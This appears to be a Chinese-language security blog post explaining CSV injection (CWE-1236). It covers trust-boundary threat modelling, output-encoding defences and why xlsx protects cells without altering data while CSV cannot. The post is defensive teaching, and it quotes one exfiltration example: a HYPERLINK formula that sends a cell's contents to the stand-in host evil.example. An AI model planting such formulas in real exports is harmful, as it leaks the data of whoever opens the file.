CSV Injection:一個被低估的攻擊面,以及威脅模型如何決定它的嚴重度
最近在重構一個「把分析資料匯出成 CSV / Excel」的功能時,自動化的 code review 工具在其中一段 CSV 產生邏輯標了一個 CWE-1236(CSV Injection)。第一眼看它像個可以延後處理的舊問題,但認真追下去,卻意外帶出一整套關於「injection 的本質」與「威脅模型如何決定優先級」的思考。這篇就記錄這段收穫——幾乎不談那個重構本身,只談那個被掀開的攻擊面。
CSV Injection 是什麼
當程式把資料寫進 CSV,而某個儲存格以 公式觸發字元(=、+、-、@,還有 Tab 與 CR)開頭時,使用者用 Excel / Google Sheets / LibreOffice 打開檔案,那一格會被當成公式執行,而不是純文字12。
危險的點不是顯示錯誤,是公式真的會跑:
- 資料外洩:像
=HYPERLINK("http://evil.example/?leak="&A1, "點我"),受害者一點,A1 的資料就被夾帶到攻擊者的伺服器。 - 命令執行:透過舊的 DDE 機制,公式甚至能在受害者機器上啟動程式。最早提出這個攻擊類別的 James Kettle 在 2014 年就示範了「點過幾層警告後可在 Excel 執行任意程式碼」的 PoC1。
它的本質是 CSV 這個格式沒有把「資料」和「可執行內容」分開——而試算表軟體選擇把某些開頭字元解讀成公式。
真正的關鍵不是字元,是威脅模型
這題最值錢的一課是:CSV Injection 的嚴重度,幾乎完全由「威脅模型」決定,而不是由「有沒有 = 開頭」決定。
它真正危險的情境,永遠是一條跨越信任邊界的鏈:
不信任的使用者 A 在某個欄位(註冊名稱、留言、商品標題)填入 payload → 系統存進資料庫 → 信任的使用者 B(例如管理員)把報表匯出成 CSV、用 Excel 打開 → 公式在 B 的電腦上執行
關鍵是 A 和 B 是不同人——A 塞、B 受害。
反過來,如果一個匯出功能的資料全部來自可控來源、而且「產資料的人」跟「下載開檔的人」是同一方(例如使用者匯出自己的分析報告),那條跨人鏈就不成立。少了「不信任的第三方」這個核心前提,同樣的技術細節,實際殺傷力就從高危掉到接近 noise。
這也解釋了為什麼這類弱點的處置常常很分裂:同一份報告,在 bug bounty 平台上可能拿賞金、也可能被標 Informational——差別不在程式碼,而在資料會不會跨越信任邊界。先想清楚這點,再決定值不值得防、用哪種防法,才不會在低風險的地方過度工程。
更大的框架:injection 是「輸出編碼」問題
如果你熟悉 XSS,會發現 CSV Injection 跟它是同一個家族:
| 不信任資料被塞進… | 沒做的事 | |
|---|---|---|
| XSS | HTML / JS 的 context | 依 context 編碼 |
| CSV Injection | 試算表「公式」的 context | 依 context 編碼 |
=SUM(A1) 這個字串本身完全是合法資料——存進資料庫、回成 JSON、顯示在網頁上都毫無問題。它只有在被序列化進「會被當公式解讀」的 context 時才危險。
由此可以推出一個常見的錯誤反面:不要在輸入端擋。如果你在使用者輸入時就拒絕 = 開頭,你會誤殺一堆合法資料(數學式、-5、+886、@handle),而且防錯了層——這份資料在其他 context 都是安全的。正確的防線在「輸出邊界」,也就是序列化成 CSV 的那一刻,依「即將進入試算表」這個 context 做中和,跟 XSS 要在「輸出到 HTML 那刻」做 escaping 是完全一樣的道理。
把這個框架放大,你會發現「會被解讀的地方」遠比想像多:log injection(換行偽造日誌、ANSI escape 控制終端)、SSTI(模板注入)、LDAP / XPath injection、argument injection、path traversal……它們長得不一樣,但病因同一個:資料越過邊界、沒依目標 context 編碼。
CSV 與 Excel 的不對稱:為什麼「無損保護」只有一邊有
防 CSV Injection 最常見的做法,是把危險開頭的儲存格前綴一個單引號('),讓 Excel 視為純文字。但這裡藏著一個關鍵的格式差異,值得單獨講。
' 不是 CSV 標準裡的轉義字元,它就是檔案裡一個真實的字元。只有 Excel / Sheets 有「匯入時開頭的 ' 代表強制文字、並隱藏它」這個專屬慣例。所以同一個檔案:
- 用 Excel 開 →
'被吃掉,顯示成文字 - 用文字編輯器開、或用程式(pandas 之類)parse →
'原樣出現,資料被改了
這是所有 CSV 公式防護的共同代價——CSV 格式裡沒有型別、沒有 metadata,要表達「這格是文字」唯一的辦法就是改 bytes。為了保護 Excel 這一個消費者,犧牲了所有其他讀取者拿到的資料純度。
對照之下,匯出成 Excel(xlsx)格式時,每個儲存格帶有型別——字串就被標記成文字型別,「這是文字、不是公式」這個資訊存在儲存格的結構裡,值本身一個字元都沒動。換句話說:
無型別的格式(CSV)只能靠「改資料」來保護;有型別的格式(xlsx)能用「結構」承載安全,無損。
這個不對稱很實用:如果使用者主要是用試算表開檔,優先給 xlsx,它天生安全又不動到資料;把 CSV 定位成「給程式與工具的原始資料交換格式」,在那條維持忠實、不做公式中和。這不是偷懶,是按每種格式的本分做對的事。
防護沒有銀彈
更反直覺的是,連最常見的 ' / Tab 前綴都不是萬靈丹。OWASP 明確警告:Microsoft Excel 在存檔再重新開啟時,可能會把這些引號或轉義字元移除,導致原本被中和的公式重新被啟用;而且「沒有一種通用的 CSV 消毒策略,能對所有試算表軟體與所有下游消費者都安全」3。
另一個值得認識的現實是責任歸屬之爭。Google 在它的 Bug Hunters 頁面上把 CSV 公式注入列為 不受理(Invalid),理由是「執行公式是試算表軟體的行為,正確的修復應該發生在開檔的應用、而不是產檔的應用」4。安全研究者則持相反立場:你把不信任資料輸出成「會被解讀成公式」的格式,就是 output encoding 沒做。這個灰色地帶——卡在「產檔應用」與「試算表軟體」之間——正是這類弱點長期被忽視的原因。
值得提醒的是,這絕不是 2014 年的老問題。至今仍有各類產品(從企業級 BI 到各種外掛)持續被以 CWE-1236 編列新的 CVE2。它沒消失,只是一直住在大家忽略的「匯出」按鈕後面。
帶走的習慣
把這串思考收斂成一個反射動作就夠了。以後寫到任何「把資料送出去」的地方——匯出檔案、寫 log、組指令、拼路徑、塞模板——心裡閃一下:
「這份資料有沒有可能是別人塞的?它要進的那個地方,會不會解讀某些字元?」
兩個都「是」→ 認真地在輸出邊界編碼,並優先選有型別、能無損保護的格式。其他情況 → 就是可控,別過度工程。
會對這種攻擊感到陌生甚至害怕,其實是好事——代表你開始用攻擊者的角度看自己的 output 了。但真正成熟的判斷,是知道不是每個被標記的「漏洞」都要照單全收:先看資料會不會跨越信任邊界,再決定它是該優先修的風險、還是可接受的殘留。
環境資訊
本文為概念性筆記,不綁定特定技術版本。文中提及的試算表行為以 Microsoft Excel 與 Google Sheets 為例,實際行為可能隨軟體版本而異。
本文撰寫時間:2026 年 6 月,安全建議與軟體行為可能隨時間更新,請以各來源官方文件為準。